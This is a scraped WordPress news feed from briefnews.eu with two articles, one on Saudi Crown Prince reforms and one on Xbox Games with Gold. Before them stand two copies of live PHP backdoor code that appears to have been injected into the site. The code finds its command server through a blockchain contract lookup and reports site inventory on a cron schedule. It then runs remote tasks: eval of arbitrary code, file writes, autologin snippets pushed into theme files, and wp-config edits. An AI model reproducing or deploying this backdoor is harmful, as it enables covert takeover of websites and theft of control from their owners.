// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); backseat – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 06 Jul 2018 17:44:35 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png backseat – Brief News https://briefnews.eu 32 32 Ultra-conservatism takes backseat? How Saudi Crown Prince could ‘fundamentally change’ kingdom https://briefnews.eu/ultra-conservatism-takes-backseat-how-saudi-crown-prince-could-fundamentally-change-kingdom/ https://briefnews.eu/ultra-conservatism-takes-backseat-how-saudi-crown-prince-could-fundamentally-change-kingdom/#respond Sun, 29 Oct 2017 20:14:22 +0000 http://briefnews.eu/ultra-conservatism-takes-backseat-how-saudi-crown-prince-could-fundamentally-change-kingdom/ Saudi Arabia recently announced it wants to go back to “moderate Islam,” and even became the first country to grant citizenship to a humanoid robot. RT looks at how ultra-conservatism is seemingly taking a backseat under a new Crown Prince.

Mohammed bin Salman, often referred to as MbS, was officially appointed the heir of the Saudi throne in June. However, his political influence began long before the appointment as he is considered the main and most trusted adviser to his father, King Salman.

He also held a number of key positions previously, including defense minister and chief of the Royal Court. The Crown Prince is said to be behind the latest internal reforms in Saudi Arabia, some representing almost a U-turn compared to the previous decades, shaped by the strict version of Sunni Islam in the country.   

“Because of his father’s retreat from the public stage, MbS has become the de-facto decision-maker in the Kingdom of late,” Assistant Professor of Political Science at Bluefield State College and expert on Gulf affairs Colin S. Cavell told RT. The political analyst believes that the young prince triggered domestic reforms that “if fully implemented, would fundamentally change the nature of the Saudi regime.”

Restrictions on ill-famed religious police

The country, like some other Muslim states, has a body to enforce and secure the strict interpretation of Islamic law – the so-called ‘religious police.’ Formally known as the Commission for the Promotion of Virtue and Prevention of Vice (or the Mutaween force), it has been making headlines with some controversial cases.

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© Reuters

In February, several of its members allegedly assaulted a woman outside a shopping mall in Riyadh and were subsequently arrested. In 2013, two religious officers were also detained after their patrol car crashed into another vehicle during a chase which left two people dead.

In 2016, the authorities stripped the body of powers to arrest, interrogate, chase and follow people, urging the force to “kindly and gently” enforce Islamic rules. The Mutaween officers are now to display clear identification showing their names, posts, jurisdictions, and official working hours. Though bin Salman was not a Crown Prince at that time, Cavell is sure that it was exactly the new heir who “placed restrictions on the country’s notorious religious police.”

As the implementation of the measure has recently marked its one-year anniversary, Saudis took to social media to celebrate the event. Some of them said that this period proved that the force was not needed as nothing happened with their absence, according to Arab News, citing Saudi-based netizens.

Women allowed to drive. What’s next?

The kingdom is renowned for gender inequality and numerous restrictions on women. The ‘guardians,’ – represented by a husband, father, brother, or son – decide whether a woman can receive an education or take a job, undergo particular medical manipulations, get married, divorce, or even travel.

Things have recently changed, however, with Riyadh issuing a decree ordering that women be allowed to drive. The ruling is expected to come into force early next year. Here, again, Cavell told RT that in his view, King Salman issued the order after being “persuaded” by the Crown Prince.

READ MORE: ‘Much work yet to be done’: Twitter reacts with caution to Saudi move to let women drive

The reform is a “major thing, because they [women] were forbidden to drive for years,” according to J. Michael Springmann, who served in the US government as a diplomat with the State Department’s Foreign Service.

Another breakthrough brought in the right for women to attend national day celebrations alongside their male counterparts. “A practice that was previously unheard of and explicitly forbidden,” Gulf affairs expert Cavell told RT. The change, however, will need some time to settle in the minds of the people in the kingdom before “any semblance of equality between the sexes is realized.”

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© Güler Kömürcü

Earlier this year, women were also permitted to get state services without their ‘guardians’ permission, according to a royal decree.

The news on the latest changes prompted even more ambitious reform expectations. This time going as far as to put the plug on the formal ban of movie theaters in Saudi Arabia. In a potentially spearheading move, the conservative state held a movie festival in the capital, Riyadh last week. Both men and women were allowed to attend, yet the visitors were segregated by gender.

Even though most Saudis have TV sets, allowing movie theaters is unprecedented, according to Springmann. The analyst recalled that dancing and other entertainment gatherings were much concealed when he was younger, and people had to attend the event under high secrecy. The reforms of the entertainment sphere have been also part of the Vision 2030 plan, introduced by the Crown Prince.

“He [Crown Prince of Saudi Arabia Mohammed bin Salman] has proposed Vision 2030, which is a reworking of the Saudi economy and restructuring of the government,” Springmann said. He added that the plan was aimed at reducing Riyadh’s dependence on oil and “trying to diversify the economy and develop the public service sector, including tourism and entertainment.”

Vision 2030 allows the creation of “professionally organized amateur clubs’ to expand culture and entertainment options in the Kingdom by 2020,” according to Dr. Courtney Freer of LSE’s Middle East Center, which specializes on the analysis of the Middle East and North Africa.

READ MORE: Merkel meets Saudi King without hijab, talks business, not women’s rights

“This goal seems surprisingly cosmopolitan in a state as historically closed as Saudi Arabia,” Freer wrote. Mohammad bin Salman also set up the Entertainment Authority, which even organized a Comic Con festival in February. The event was supposed to be segregated by gender, but men and women “ended up mixing, with a few of them even dancing (an activity that Wahhabi ulama prohibit), in the same hall.”

Returning to ‘moderate Islam’ & going hi-tech

In late October, the Crown Prince made headlines as he promised to return Riyadh to “moderate Islam that is open to all religions and to the world.” He also stated that the country’s young generation is not going to “waste 30 years of our life combating extremist thoughts,” and promised their immediate destruction.

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Saudi Arabia’s King Salman bin Abdulaziz Al Saud © Reuters

At the same time, the ambitious heir of the Saudi king toldthe Guardian it “is the time to get rid” of the heritage of the Iranian revolution as “what happened in the last 30 years is not Saudi Arabia.”

Just days before the announcement, King Salman ordered to set up a special complex in Medina where elite scholars will gather to examine uses of the “hadith” – the words and actions of Mohammad, as recounted by others, the second Islamic text after the Koran. The King Salman Complex is designed to “eliminate fake and extremist texts and any texts that contradict the teachings of Islam and justify the committing of crimes, murders and terrorist acts.”

This week, Saudi Arabia has become the first state in the world to officially become a home country for a robot – and what’s more, a female robot. Citizenship to the machine named Sophia the Humanoid, designed to look like Audrey Hepburn, has been granted.

“This is historical to be the first robot in the world to be recognized with a citizenship,” Sophia, who was originally created for a Hong Kong company, commented.

Reforms met with mixed feelings

The reforms are popular among the young, who are seeing “their dreams come true” and that the prince “is leading the nation to the modern age,” according to Springmann. At the same time, there is opposition among some clerics and those who strongly support Wahhabism (an ultra-conservative branch of Islam widespread in Saudi Arabia).

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FILE PHOTO: Members of Magic Movement stage a mock execution scene in protest of Saudi Arabia beheading of eight Bangladeshi workers.© Andrew Biraj / Reuters

The ensuing changes have “to be gradual,” according to Springmann. “I’m not saying there won’t be any change,” he added, pointing out that in the 1940s, the radio was treated as the “work of the devil,” but then such opposition dropped. On the other hand, the emerging developments may be subsequently curbed, analyst Colin S. Cavell believes.

READ MORE: Saudi woman arrested for going out without traditional Muslim clothing – reports

“The mainstream media in the West have lauded the reforms of the Saudi Crown Prince, though the US government is quite aware that it is highly unlikely that MbS’s reforms will ever be fully implemented,” he told RT.

What’s more, the reforms “in truth, are acts of desperation from a regime” which relies on “protection from both the USA and the UK.” London and Washington understand that the kingdom in its current form is doomed and are unwilling to lose “regional hegemonic control,” according to Cavell.

However, despite all the recent breakthroughs and changes, Saudi Arabia remains among the counties with strict adherence to ultra-conservative norms of Islam, and with some of the most severe punishments for breaking both religious and criminal laws. It is among the world’s top five executioners, with at least 154 death sentences carried out in 2016, according to Amnesty International.

Nearly 440 executions were carried out in under four years, international NGO Reprieve said in a 2017 report on Saudi Arabia. The country often sentences protesters and activists to death, and a large number of those executed are convicted of nonviolent crimes such as drug offenses, it said.

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]]> https://briefnews.eu/ultra-conservatism-takes-backseat-how-saudi-crown-prince-could-fundamentally-change-kingdom/feed/ 0 Games with Gold September 2017 takes backseat to Xbox One X news https://briefnews.eu/games-with-gold-september-2017-takes-backseat-to-xbox-one-x-news/ https://briefnews.eu/games-with-gold-september-2017-takes-backseat-to-xbox-one-x-news/#respond Tue, 22 Aug 2017 05:00:47 +0000 http://briefnews.eu/games-with-gold-september-2017-takes-backseat-to-xbox-one-x-news/

Games with Gold September 2017 will be announced in the next seven days, although it will have to do something big to beat the most recent Microsoft reveals.

The Xbox One X has been the star of the show so far, with Microsoft dedicating a chunk of their Gamescom conference to the upgraded console.

The tech giant also managed to drop in a few surprises, with the Project Scorpio Edition featuring a custom color, vertical stand, and “Project Scorpio” printed on both the console and controller, also confirmed. 

So it might be a little harder this month for the Games with Gold lineup to steal the limelight.

There have so far been no new leaks suggesting what could be part of the lineup, so fans will have to wait until something official pops up.

Microsoft could announce the official Xbox Games with Gold lineup this week, last month saw the news broken on Tuesday, July 25.

There’s a chance that the big reveal could come later today, although there has been no hint on when Microsoft plan to drop it.

They might end up leaving it till after the end of Gamescom 2017, with a lot of new gaming news coming our way.

The Xbox Games with Gold lineup recently got a refresh from Microsoft, with the likes of Runbow and Bayonetta being replaced.

Runbow, which is described as a “crazy, colour-based platformer”, joined the Xbox One Games with Gold lineup back in July.

It was replaced by Ubisoft’s entertaining platform racer Trials Fusion, which joined the free games list on August 16.

Slime Rancher, meanwhile, will remains part of Games with Gold until August 31.

However, Xbox 360’s Bayonetta was replaced by Red Faction Armageddon, which is another titles up for grabs until the end of the month.

The remaining Games with Gold titles up for grabs includes: 

  • Slime Rancher: Available Aug 1-31 on Xbox One
  • Trials Fusion: Available Aug 16-Sep 15 on Xbox One
